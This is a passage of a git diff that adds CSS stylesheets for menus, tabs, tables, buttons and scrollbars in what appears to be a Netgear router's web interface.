border-bottom-color:#d4d4d4; + width:200px; +} + + +.advance-menu li.SubMenuLargeDisable span{ + float:left; + width:170px; + padding-top:0px; + color:#adadad; + background:#e5e5e5; + padding-left:20px; + +} + + + + + +.advance-menu li.SubMenuHover span{ + margin-left:0px; + padding-left:0px; + text-decoration:none; + float:left; + width:170px; + color:#9d98ff; + border-top-style:solid; + border-width:1px; + background:url(); +} + + +.advance-menu li.SubMenuActive{ + margin:0; + padding:0; + height:21px; + color:#4e4e4e; + list-style:none; + width:200px; + background:url("../img/subMenuActive.png") no-repeat 15px -2px; + +} + + + + +.advance-menu li.SubMenuActive span{ + margin-left:20px; + padding-left:0px; + text-decoration:none; + float:left; + width:170px; + color:#ffffff; +} + + +.advance-menu li.SubMenuActiveLarge{ + margin:0; + padding:0; + height:32px; + color:#4e4e4e; + width:200px; + list-style:none; + background:url("../img/subMenuActiveLarge.png") no-repeat 15px -2px; +} + + +.advance-menu li.SubMenuActiveLarge span{ + margin-left:20px; + padding-left:0px; + width:170px; + text-decoration:none; + float:left; + color:#ffffff; +} + +.advance-menu span{ + float:left; + +} + +.advance-menu a{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + +} + +.advance-menu a:hover{ + text-decoration:none; + color:#ffffff; + font-weight:bold; + cursor:pointer; + +} + + +.subHeader ul{ + margin-top:0; + padding-top:0; + list-style:none; + height:150px; +} + diff --git a/sites/netgear/css/qos_tabs.css b/sites/netgear/css/qos_tabs.css new file mode 100644 index 0000000..3b6464e --- /dev/null +++ b/sites/netgear/css/qos_tabs.css @@ -0,0 +1,159 @@ + + +/* root element for tabs */ +ul.tabs { + list-style:none; + margin:0px; + padding-left:10px; + padding-top:5px; + height:30px; + background-color:transparent; + font-family:arial; + overflow: hidden; + white-space: nowrap; +} + +/* single tab */ +ul.tabs li { + float:left; + text-indent:0; + padding:0; + margin-left:5px; + background-color:transparent; + list-style-image:none !important; + display: inline; +} + + +/* link inside the tab. uses a background image */ +ul.tabs a { + background: url(../img/qos-tab-nonactive.jpg) no-repeat 0; + font-size:15px; + font-weight:bold; + display:block; + height: 35px; + line-height:35px; + width: 152px; + text-align:center; + text-decoration:none; + color:#4e4e4e; + padding:0px; + position:relative; + top:0px; + top: 0px\9; + font-family:arial; +} + +ul.tabs a:active { + outline:none; + background: url(../img/qos-tab-nonactive.jpg) no-repeat 0; +} + +/* when mouse enters the tab move the background image */ + + +ul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a { + background: url(../img/qos-tab-hover.jpg) no-repeat 0; + cursor:default !important; + color:#000 !important; +} + + + +.firmware-update-hint{ + background-image:url("../img/firmware-hint-background.gif"); + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + +.firmware-update-hint-short{ + + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + + + +.language-option{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + margin-top:4px; + margin-bottom:5px; + font-size:12px; + font-weight:normal; + } + +firmware_update_click a:hover{ + mouse:pointer; +} +/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */ + +/* initially all panes are hidden */ +.panes .pane { + display:none; + +} + + + +.button-rule span.roundleft_update{ + padding: 4px 0px 15px 20px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_update.gif") no-repeat left 0px; + color:#F2F2F2; + cursor: pointer; + white-space:nowrap; +} + +.roundright_update{ + padding: 4px 5px 15px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + +.roundright_update_org{ + padding: 4px 0px 4px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + \ No newline at end of file diff --git a/sites/netgear/css/scrollbar.css b/sites/netgear/css/scrollbar.css new file mode 100644 index 0000000..09cf39b --- /dev/null +++ b/sites/netgear/css/scrollbar.css @@ -0,0 +1,123 @@ + +/* + * CSS Styles that are needed by jScrollPane for it to operate correctly. + * + * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane + * may not operate correctly without them. + */ + +.jspContainer +{ + overflow: hidden; + position: relative; +} + +.jspPane +{ + position: absolute; +} + +.jspVerticalBar +{ + position: absolute; + top: 0; + right: 0; + width: 12px; + height: 100%; + background-color: #202020; +} + +.jspHorizontalBar +{ + display:none; + position: absolute; + bottom: 0; + left: 0; + width: 100%; + height: 16px; + background-color:#202020; +} + +.jspVerticalBar *, +.jspHorizontalBar * +{ + margin: 0; + padding: 0; +} + +.jspCap +{ + display: none; +} + +.jspHorizontalBar .jspCap +{ + float: left; +} + +.jspTrack +{ + background: #c0c0d0; + position: relative; +} + +.jspDrag +{ + background: #808080; + position: relative; + top: 0; + left: 0; + cursor: pointer; +} + +.jspHorizontalBar .jspTrack, +.jspHorizontalBar .jspDrag +{ + float: left; + height: 100%; +} + +.jspArrow +{ + background: #50506d; + text-indent: -20000px; + display: block; + cursor: pointer; +} + +.jspArrow.jspDisabled +{ + cursor: default; + background: #80808d; +} + +.jspVerticalBar .jspArrow +{ + height: 16px; +} + +.jspHorizontalBar .jspArrow +{ + width: 16px; + float: left; + height: 100%; +} + +.jspVerticalBar .jspArrow:focus +{ + outline: none; +} + +.jspCorner +{ + background: #eeeef4; + float: left; + height: 100%; +} + +/* Yuk! CSS Hack for IE6 3 pixel bug :( */ +* html .jspCorner +{ + margin: 0 -3px 0 0; +} + diff --git a/sites/netgear/css/standalone.css b/sites/netgear/css/standalone.css new file mode 100644 index 0000000..e13e014 --- /dev/null +++ b/sites/netgear/css/standalone.css @@ -0,0 +1,12 @@ +body { + font-family:"Lucida Grande","bitstream vera sans","trebuchet ms",sans-serif,verdana,Arial; +} + +/* get rid of those system borders being generated for A tags */ +a:active { + outline:none; +} + +:focus { + -moz-outline-style:none; +} diff --git a/sites/netgear/css/table.css b/sites/netgear/css/table.css new file mode 100644 index 0000000..6429fe7 --- /dev/null +++ b/sites/netgear/css/table.css @@ -0,0 +1,695 @@ + + +.basic-text{ + padding-top:0px; + margin-top:0px; +} + + +.basic-text-menu{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +.basic-text-menu-bottom{ + border-collapse:collapse; + + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} +.basic-text-content-bottom{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.basic-text-menu-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +iframe{ + background-color:transparent; +} + +.basic-text-subTitle{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-subTitle-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-content{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; + } + +.basic-text-content-pr{ + font-family:Simsun,Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.page-table{ + margin:0px; + font-size:14px; + background:-moz-linear-gradient(top,white,rgb(230,230,230)); + background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content; + border-collapse:collapse; + + background-color:#C0C0C0; + filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0'); + } + +.basic-table-seperate-border{ + border-left-style:solid; + border-right-style:solid; + width:320px; + height:1px; + border-top-style:none; + border-bottom-style:none; + border-left-width:4px; + border-right-width:4px; + border-left-color:#FFFFFF; + border-right-color:#FFFFFF; +} + +.table-seperate-border{ + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:1px; + border-right-width:1px; + border-left-color:#808080; + border-right-color:#808080; +} + +.scrollpane-table-seperate-border{ + padding-left:20px; + padding-right:5px; + border-left-style:solid; + border-right-style:solid; + border-left-width:1px; + border-right-width:1px; + border-left-color:#808080; + border-right-color:#808080; +} +.basic-table-seperate{ + height:1px; + border-color:#D0D0D0; + background-color:#D0D0D0; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.basic-table-seperate-2{ + height:1px; + border-color:transparent; + background-color:transparent; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.adv-home-table-seperate{ + height:1px; + width:615px; + border-color:#C0C0C0; + border-style:normal; + background-color:#C0C0C0; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } +.adv-home-table-seperate-2{ + height:1px; + width:615px; + border-color:#ffffff; + border-style:normal; + background-color:#ffffff; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } + +.table-seperate{ + height:1px; + + border-color:#000000; + background-color:#000000; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } + +.box-header-table { + border-collapse:collapse; + margin-left:5px; + background:url('../img/box-header-background.gif') no-repeat; +} + +.box-header-table-large { + border-collapse:collapse; + margin-left:5px; + height:43px; + background:url('../img/box-header-background-large.gif') no-repeat; +} + + +.box-header { + margin:0px; + width:305px; + height:17px; + vertical-align:top; +} +.page-table-bottom-3{ + + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } +.page-table-bottom-2{ + background:url(../img/page-table-bottom-2.gif); + background-position:0px -4px; + font-size:8px; + height:8px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + } + +.page-table-bottom{ + background:url(../img/page-table-bottom.gif); + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } + + +.box-header-text{ + font-family:Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.box-header-text-pr{ + font-family:Simsun,Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.warning-text-menu{ + height:13px; + text-decoration:underline; + padding-left:20px; + border-left: 4px; + color:#E77800; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#E77800; + font-weight:bold; + width:60%; + } + + +.warning-text-content{ + border-right: 4px; + text-decoration:underline; + border-right-style:solid; + color:#E77800; + height:13px; + font-size:12px; + border-color:#FFFFFF; + width:40%; + } + +.page-table-button{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:relative; + + } + + +.page-table-button-large{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:relative; + + } + +.page-table-button-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-large-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:1px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:280px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-large-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-gray{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#767676; + height:16px; + width:140px; + background: url("../img/page-table-button-gray.gif") no-repeat; + background-position:relative; + + } + +.subhead{ + height:32px; + width:740px; + background: url("../img/subhead-top.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-bottom{ + height:29px; + width:740px; + background: url("../img/subhead-bottom.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-text{ + font-family:Arial; + font-size:14px; + color:#E5E5E5; + font-weight:bold; + padding-left:20px; + background-position:relative; + padding-top:7px; +} + +.subhead-text-menu{ + height:25px; + padding-left:20px; + border-left: 1px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#000000; + font-weight:bold; + width:18%; + } + +.subhead-text-context{ + padding-left:20px; + border-right: 1px; + border-right-style:solid; + height:25px; + font-size:12px; + border-color:#000000; + width:75%; + } + +.normal-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + +} +.subtop{ + font-family:Arial; + margin:0px; + font-size:12px; + width:1050px; + + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + +} +.subhead2{ + font-family:Arial; + margin:0px; + font-size:12px; + background: url("../img/subhead2-top.gif") no-repeat 0px 0px; + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + position: absolute; + top: 0px; + left: 0px; + padding-top:8px; + padding-bottom:8px; + padding-left:20px; +} + +.subhead2-table{ + zoom:1; + width:1050px; + background-attachment:fixed; + padding-right:5px; + border-collapse:collapse; +} + +.subhead2-multi-table{ + zoom:1; + + background-repeat: no-repeat; + background-attachment:fixed; + border:0px; + border-collapse:collapse; +} + + +.subhead2-text{ + font-family:Arial; + margin:0px; + color:#FFFFFF; + font-size:12px; + background-position:relative; + font-weight:bold; + vertical-align:middle; + padding-top:4px; + padding-bottom:4px; +} + +.subhead2-bottom{ + height:29px; + width:1050px; + + background-position:relative; + position:relative; + top:-28px; + margin-bottom:10px; +} + +.subhead2-text-menu{ + padding-left:20px; + height:20px; + border-left: 0px; + border-left-style:solid; + border-color:#808080; + } + +.page-body { + + margin:0px; + + background-color:#E5E5E5; + overflow:hidden; +} + +.subhead2-text-context{ + text-align:right; + padding-right:20px; + border-right: 0px; + border-right-style:solid; + border-color:#808080; + } + +.table-round-top-left{ + background-image:url("../img/roundtopleft_table.gif"); + background-repeat:no-repeat; + } + +.table-round-top-right{ + background-image:url("../img/roundtopright_table.gif"); + background-repeat:no-repeat; + } + +.table-round-bottom-left{ + background-image:url("../img/roundbottomleft_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-round-bottom-right{ + background-image:url("../img/roundbottomright_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-header{ + background-color:#9d98ff; + font-family:Arial; + font-size:12px; + vertical-align:middle; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + } + +.table-content-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:normal; + background-position:relative; + } + +.help-frame-div{ + position:absolute; top:284px;left:10px; + width:1000px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.bas-help-frame-div{ + position:absolute; top:284px;left:10px; + width:600px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.help-iframe{ + width:100%; + height:140px; + background: #202020; + padding:0px; + position:relative; +} + + +.scroll-pane +{ + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +#full-page-container +{ + position:absolute; top:0px;left:0px; + overflow: auto; +} + +.cover-image +{ + position:absolute; + top:0px; + left:0px; + width:100%; + height:100%; + z-index:5; +} + +.folderName_ie10 +{ + border-right: inset 1pt; +} + +.select-gray +{ + color:black; + background: #E0E0E0; +} diff --git a/sites/netgear/css/table_noh.css b/sites/netgear/css/table_noh.css new file mode 100644 index 0000000..5f19526 --- /dev/null +++ b/sites/netgear/css/table_noh.css @@ -0,0 +1,717 @@ + + +.basic-text{ + padding-top:0px; + margin-top:0px; +} + + +.basic-text-menu{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +.basic-text-menu-bottom{ + border-collapse:collapse; + + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} +.basic-text-content-bottom{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.basic-text-menu-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +iframe{ + background-color:transparent; +} + +.basic-text-subTitle{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-subTitle-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-content{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; + } + +.basic-text-content-pr{ + font-family:Simsun,Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.page-table{ + margin:0px; + font-size:14px; + background:-moz-linear-gradient(top,white,rgb(230,230,230)); + background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content; + border-collapse:collapse; + + background-color:#C0C0C0; + filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0'); + } + +.basic-table-seperate-border{ + border-left-style:solid; + border-right-style:solid; + width:320px; + height:1px; + border-top-style:none; + border-bottom-style:none; + border-left-width:4px; + border-right-width:4px; + border-left-color:#FFFFFF; + border-right-color:#FFFFFF; +} + +.table-seperate-border{ + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} + + +.table-seperate-border2{ + padding-top:10px; + padding-bottom:47px; + background-image: url(../img/opmode_topline.gif); + background-repeat: no-repeat; + background-position: 50% 100%; + + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} + +.scrollpane-table-seperate-border{ + padding-left:20px; + padding-right:5px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} +.basic-table-seperate{ + height:1px; + border-color:#D0D0D0; + background-color:#D0D0D0; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.basic-table-seperate-2{ + height:1px; + border-color:transparent; + background-color:transparent; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.adv-home-table-seperate{ + height:1px; + width:615px; + border-color:#C0C0C0; + border-style:normal; + background-color:#C0C0C0; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } +.adv-home-table-seperate-2{ + height:1px; + width:615px; + border-color:#ffffff; + border-style:normal; + background-color:#ffffff; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } + +.table-seperate{ + height:1px; + + border-color:#000000; + background-color:#000000; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } + +.box-header-table { + border-collapse:collapse; + margin-left:5px; + background:url('../img/box-header-background.gif') no-repeat; +} + +.box-header-table-large { + border-collapse:collapse; + margin-left:5px; + height:43px; + background:url('../img/box-header-background-large.gif') no-repeat; +} + + +.box-header { + margin:0px; + width:305px; + height:17px; + vertical-align:top; +} +.page-table-bottom-3{ + + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } +.page-table-bottom-2{ + background:url(../img/page-table-bottom-2.gif); + background-position:0px -4px; + font-size:8px; + height:8px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + } + +.page-table-bottom{ + background:url(../img/page-table-bottom.gif); + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } + + +.box-header-text{ + font-family:Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.box-header-text-pr{ + font-family:Simsun,Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.warning-text-menu{ + height:13px; + text-decoration:underline; + padding-left:20px; + border-left: 4px; + color:#E77800; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#E77800; + font-weight:bold; + width:60%; + } + + +.warning-text-content{ + border-right: 4px; + text-decoration:underline; + border-right-style:solid; + color:#E77800; + height:13px; + font-size:12px; + border-color:#FFFFFF; + width:40%; + } + +.page-table-button{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:relative; + + } + + +.page-table-button-large{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:relative; + + } + +.page-table-button-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-large-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:1px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:280px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-large-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-gray{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#767676; + height:16px; + width:140px; + background: url("../img/page-table-button-gray.gif") no-repeat; + background-position:relative; + + } + +.subhead{ + height:32px; + width:740px; + background: url("../img/subhead-top.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-bottom{ + height:29px; + width:740px; + background: url("../img/subhead-bottom.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-text{ + font-family:Arial; + font-size:14px; + color:#E5E5E5; + font-weight:bold; + padding-left:20px; + background-position:relative; + padding-top:7px; +} + +.subhead-text-menu{ + height:25px; + padding-left:20px; + border-left: 1px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#000000; + font-weight:bold; + width:18%; + } + +.subhead-text-context{ + padding-left:20px; + border-right: 1px; + border-right-style:solid; + height:25px; + font-size:12px; + border-color:#000000; + width:75%; + } + +.normal-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + +} +.subtop{ + font-family:Arial; + margin:0px; + font-size:12px; + width:1050px; + + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + +} +.subhead2{ + font-family:Arial; + margin:0px; + font-size:16px; + background: url("../img/subhead2-top_noh.gif") no-repeat 0px 0px; + color:#ADA7D7; + font-weight:bold; + vertical-align:middle; + position: absolute; + top: 0px; + left: 0px; + padding-top:8px; + padding-bottom:8px; + padding-left:20px; +} + +.subhead2-table{ + zoom:1; + width:1050px; + background-attachment:fixed; + padding-right:5px; + border-collapse:collapse; +} + +.subhead2-multi-table{ + zoom:1; + + background-repeat: no-repeat; + background-attachment:fixed; + border:0px; + border-collapse:collapse; +} + + +.subhead2-text{ + font-family:Arial; + margin:0px; + color:#FFFFFF; + font-size:12px; + background-position:relative; + font-weight:bold; + vertical-align:middle; + padding-top:4px; + padding-bottom:4px; +} + +.subhead2-bottom{ + height:29px; + width:1050px; + + background-position:relative; + position:relative; + top:-28px; + margin-bottom:0px; +} + +.subhead2-text-menu{ + padding-left:20px; + height:20px; + border-left: 0px; + border-left-style:solid; + border-color:#808080; + } + +.page-body { + + margin:0px; + + background-color:#E5E5E5; + overflow:hidden; +} + +.subhead2-text-context{ + text-align:right; + padding-right:20px; + border-right: 0px; + border-right-style:solid; + border-color:#808080; + } + +.table-round-top-left{ + background-image:url("../img/roundtopleft_table.gif"); + background-repeat:no-repeat; + } + +.table-round-top-right{ + background-image:url("../img/roundtopright_table.gif"); + background-repeat:no-repeat; + } + +.table-round-bottom-left{ + background-image:url("../img/roundbottomleft_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-round-bottom-right{ + background-image:url("../img/roundbottomright_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-header{ + background-color:#9d98ff; + font-family:Arial; + font-size:12px; + vertical-align:middle; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + } + +.table-content-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:normal; + background-position:relative; + } + +.help-frame-div{ + position:absolute; top:284px;left:10px; + width:1000px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.bas-help-frame-div{ + position:absolute; top:284px;left:10px; + width:600px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.help-iframe{ + width:100%; + height:140px; + background: #202020; + padding:0px; + position:relative; +} + + +.scroll-pane +{ + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +#full-page-container +{ + position:absolute; top:0px;left:0px; + overflow: hidden; +} + +.cover-image +{ + position:absolute; + top:0px; + left:0px; + width:100%; + height:100%; + z-index:5; +} + +.folderName_ie10 +{ + border-right: inset 1pt; +} + +.subpage-body { + + margin:0px; + + background-color:#FFFFFF; + overflow:hidden; +} + + diff --git a/sites/netgear/css/tabs.css b/sites/netgear/css/tabs.css new file mode 100644 index 0000000..ac54e8e --- /dev/null +++ b/sites/netgear/css/tabs.css @@ -0,0 +1,159 @@ + + +/* root element for tabs */ +ul.tabs { + list-style:none; + margin:0px; + padding-left:10px; + padding-top:5px; + height:30px; + background-color:#ffffff; + font-family:arial; + overflow: hidden; + white-space: nowrap; +} + +/* single tab */ +ul.tabs li { + float:left; + text-indent:0; + padding:0; + margin-left:5px; + background-color:transparent; + list-style-image:none !important; + display: inline; +} + + +/* link inside the tab. uses a background image */ +ul.tabs a { + background: url(../img/tab-nonactive.gif) no-repeat 0; + font-size:15px; + font-weight:bold; + display:block; + height: 30px; + line-height:30px; + width: 200px; + text-align:center; + text-decoration:none; + 